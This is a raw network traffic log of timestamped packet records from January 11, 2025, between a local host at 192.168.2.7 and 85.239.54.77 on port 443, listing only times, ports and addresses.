Jan 11, 2025 09:26:47.726144075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.729403973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729428053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729492903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.729496956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729526043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.729847908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729870081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729927063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.729931116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.729968071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.730201006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730221033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730247021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.730252028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730279922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.730300903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.730741024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730762005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730818987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.730823994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.730866909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.784224987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.784260988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.784373045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.784393072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.784434080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.809386969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809415102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809524059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.809545994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809592962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.809915066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809933901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809967041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.809973955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.809998035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.810044050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.812712908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.812736034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.812808037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.812817097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.812869072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.816112041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816138029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816200018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.816207886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816248894 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.816538095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816559076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816606045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.816612959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.816643953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.816663027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.817004919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817024946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817084074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.817089081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817130089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.817400932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817424059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817457914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.817462921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.817492962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.817513943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.871114016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.871138096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.871357918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.871371031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.871428967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.896121025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896140099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896260977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.896271944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896313906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.896682978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896699905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896776915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.896784067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.896823883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.899537086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.899553061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.899626970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.899632931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.899669886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.902913094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.902928114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.902997971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903004885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903047085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903397083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903412104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903479099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903485060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903522968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903708935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903726101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903767109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903779984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.903799057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.903817892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.904206991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.904231071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.904282093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.904289961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.904320002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.904340029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.958003044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.958031893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.958158970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.958173037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.958214045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.982989073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983016968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983140945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.983155966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983201981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.983536005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983561039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983608961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.983616114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.983649969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.983671904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.986341000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.986356974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.986428976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.986437082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.986489058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.990415096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990432978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990502119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.990509033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990547895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.990771055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990777969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990835905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.990843058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.990880966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.991054058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991070986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991102934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.991111040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991134882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.991156101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.991602898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991621017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991686106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.991693974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.991739035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.044734001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.044754982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.044898033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.044926882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.044969082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.069767952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.069785118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.069861889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.069885015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.069926023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.070265055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.070280075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.070314884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.070327044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.070344925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.070364952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.072468042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.073173046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.073191881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.073229074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.073245049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.073257923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.073282003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.077104092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077120066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077205896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.077223063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077266932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.077513933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077529907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077583075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.077593088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.077642918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.077989101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078003883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078051090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.078062057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078102112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.078433037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078448057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078495979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.078505039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.078540087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.131694078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.131711960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.131831884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.131856918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.131913900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.161277056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.161293030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.161392927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.161415100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.161454916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.161906958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.161921024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.162233114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.162245035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.162338972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.164885044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.164900064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.164963007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.164982080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.165090084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.168896914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.168914080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.169002056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.169019938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.169178963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.169423103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.169440985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.169481039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.169495106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.169523001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.169548035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.170092106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.170100927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.170253992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.170265913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.170308113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.170691967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.170706034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.170999050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.171010971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.171113014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.218442917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.218477011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.218682051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.218704939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.218875885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.243299007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.243334055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.243416071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.243437052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.243475914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.243503094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.243880033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.243896008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.244002104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.244014025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.244121075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.246819973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.246835947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.246916056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.246916056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.246933937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.247051954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.250682116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.250699043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.250986099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251004934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251056910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251125097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251140118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251183987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251194000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251354933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251540899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251557112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251701117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251712084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251749992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.251966953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.251982927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.252017975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.252028942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.252054930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.252104998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.305280924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.305313110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.305423021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.305423021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.305449963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.305499077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.330180883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330223083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330442905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.330471039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330549955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.330635071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330658913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330712080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.330722094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.330760002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.333488941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.333504915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.333596945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.333616018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.333652973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.337575912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.337593079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.337661028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.337680101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.337697983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.337727070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.337954998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.337970018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338023901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.338035107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338129044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.338466883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338485956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338596106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.338608027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338670015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.338927984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.338946104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.339037895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.339037895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.339050055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.339118958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.392118931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.392147064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.392534018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.392556906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.392657042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.416932106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.416961908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.417088985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.417114019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.417148113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.417397022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.417412996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.417448997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.417459965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.417488098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.417501926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.420397043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.420413971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.420495033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.420514107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.420617104 CET	49941	443	192.168.2.7	85.239.54.77
